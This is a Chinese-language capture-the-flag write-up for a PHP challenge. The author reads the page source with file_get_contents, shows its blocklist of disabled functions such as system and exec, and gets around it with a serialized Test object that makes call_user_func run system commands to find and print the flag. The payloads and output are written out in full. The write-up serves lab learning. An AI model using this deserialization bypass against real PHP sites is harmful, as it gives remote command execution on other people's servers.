时间一跳一跳的 抓个包
很奇怪 结合上面的 date() 认为第一个是函数 我们随便输一个看看
发现过滤了
随便输一个 linux指令
发现报错了 call_user_func()
看看是啥
很容易理解 第一个参数是函数名 后面是 参数
那么这里就是
func 函数 p 数值
所以我们看看有什么办法可以
我们尝试读取源代码看看吧
最简单的 伪协议函数
func=file_get_contents&p=index.php成功读取了
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>过滤了许多函数 system在里面
这里我们发现了 __destruct()
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}这里很显然 魔术方法 就是让我们反序列了
既然 $p为参数 $func为函数名
我们直接构造序列化就可以了
<?php
class Test {
var $p = "ls";
var $func = "system";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$a=new Test();
echo urlencode(serialize($a));
O:4:"Test":2:{s:1:"p";s:17:"find /-name flag*";s:4:"func";s:6:"system";}查找flag文件
</script>
<p>
/proc/sys/kernel/sched_domain/cpu0/domain0/flags
/proc/sys/kernel/sched_domain/cpu1/domain0/flags
/proc/sys/kernel/sched_domain/cpu10/domain0/flags
/proc/sys/kernel/sched_domain/cpu11/domain0/flags
/proc/sys/kernel/sched_domain/cpu12/domain0/flags
/proc/sys/kernel/sched_domain/cpu13/domain0/flags
/proc/sys/kernel/sched_domain/cpu14/domain0/flags
/proc/sys/kernel/sched_domain/cpu15/domain0/flags
/proc/sys/kernel/sched_domain/cpu16/domain0/flags
/proc/sys/kernel/sched_domain/cpu17/domain0/flags
/proc/sys/kernel/sched_domain/cpu18/domain0/flags
/proc/sys/kernel/sched_domain/cpu19/domain0/flags
/proc/sys/kernel/sched_domain/cpu2/domain0/flags
/proc/sys/kernel/sched_domain/cpu20/domain0/flags
/proc/sys/kernel/sched_domain/cpu21/domain0/flags
/proc/sys/kernel/sched_domain/cpu22/domain0/flags
/proc/sys/kernel/sched_domain/cpu23/domain0/flags
/proc/sys/kernel/sched_domain/cpu24/domain0/flags
/proc/sys/kernel/sched_domain/cpu25/domain0/flags
/proc/sys/kernel/sched_domain/cpu26/domain0/flags
/proc/sys/kernel/sched_domain/cpu27/domain0/flags
/proc/sys/kernel/sched_domain/cpu28/domain0/flags
/proc/sys/kernel/sched_domain/cpu29/domain0/flags
/proc/sys/kernel/sched_domain/cpu3/domain0/flags
/proc/sys/kernel/sched_domain/cpu30/domain0/flags
/proc/sys/kernel/sched_domain/cpu31/domain0/flags
/proc/sys/kernel/sched_domain/cpu4/domain0/flags
/proc/sys/kernel/sched_domain/cpu5/domain0/flags
/proc/sys/kernel/sched_domain/cpu6/domain0/flags
/proc/sys/kernel/sched_domain/cpu7/domain0/flags
/proc/sys/kernel/sched_domain/cpu8/domain0/flags
/proc/sys/kernel/sched_domain/cpu9/domain0/flags
/sys/devices/pnp0/00:00/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS15/flags
/sys/devices/platform/serial8250/tty/ttyS6/flags
/sys/devices/platform/serial8250/tty/ttyS23/flags
/sys/devices/platform/serial8250/tty/ttyS13/flags
/sys/devices/platform/serial8250/tty/ttyS31/flags
/sys/devices/platform/serial8250/tty/ttyS4/flags
/sys/devices/platform/serial8250/tty/ttyS21/flags
/sys/devices/platform/serial8250/tty/ttyS11/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS28/flags
/sys/devices/platform/serial8250/tty/ttyS18/flags
/sys/devices/platform/serial8250/tty/ttyS9/flags
/sys/devices/platform/serial8250/tty/ttyS26/flags
/sys/devices/platform/serial8250/tty/ttyS16/flags
/sys/devices/platform/serial8250/tty/ttyS7/flags
/sys/devices/platform/serial8250/tty/ttyS24/flags
/sys/devices/platform/serial8250/tty/ttyS14/flags
/sys/devices/platform/serial8250/tty/ttyS5/flags
/sys/devices/platform/serial8250/tty/ttyS22/flags
/sys/devices/platform/serial8250/tty/ttyS12/flags
/sys/devices/platform/serial8250/tty/ttyS30/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
/sys/devices/platform/serial8250/tty/ttyS20/flags
/sys/devices/platform/serial8250/tty/ttyS10/flags
/sys/devices/platform/serial8250/tty/ttyS29/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/platform/serial8250/tty/ttyS19/flags
/sys/devices/platform/serial8250/tty/ttyS27/flags
/sys/devices/platform/serial8250/tty/ttyS17/flags
/sys/devices/platform/serial8250/tty/ttyS8/flags
/sys/devices/platform/serial8250/tty/ttyS25/flags
/sys/devices/virtual/net/lo/flags
/sys/devices/virtual/net/eth0/flags
/sys/devices/virtual/net/tunl0/flags
/tmp/flagoefiu4r93
/tmp/flagoefiu4r93</p>很显然 最后两个很奇怪 我们直接读取
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
得到了 flag
这里主要考点是 call_user_func()
然后通过 反序列化传递参数 很简单的一道题了
水一下吧^^
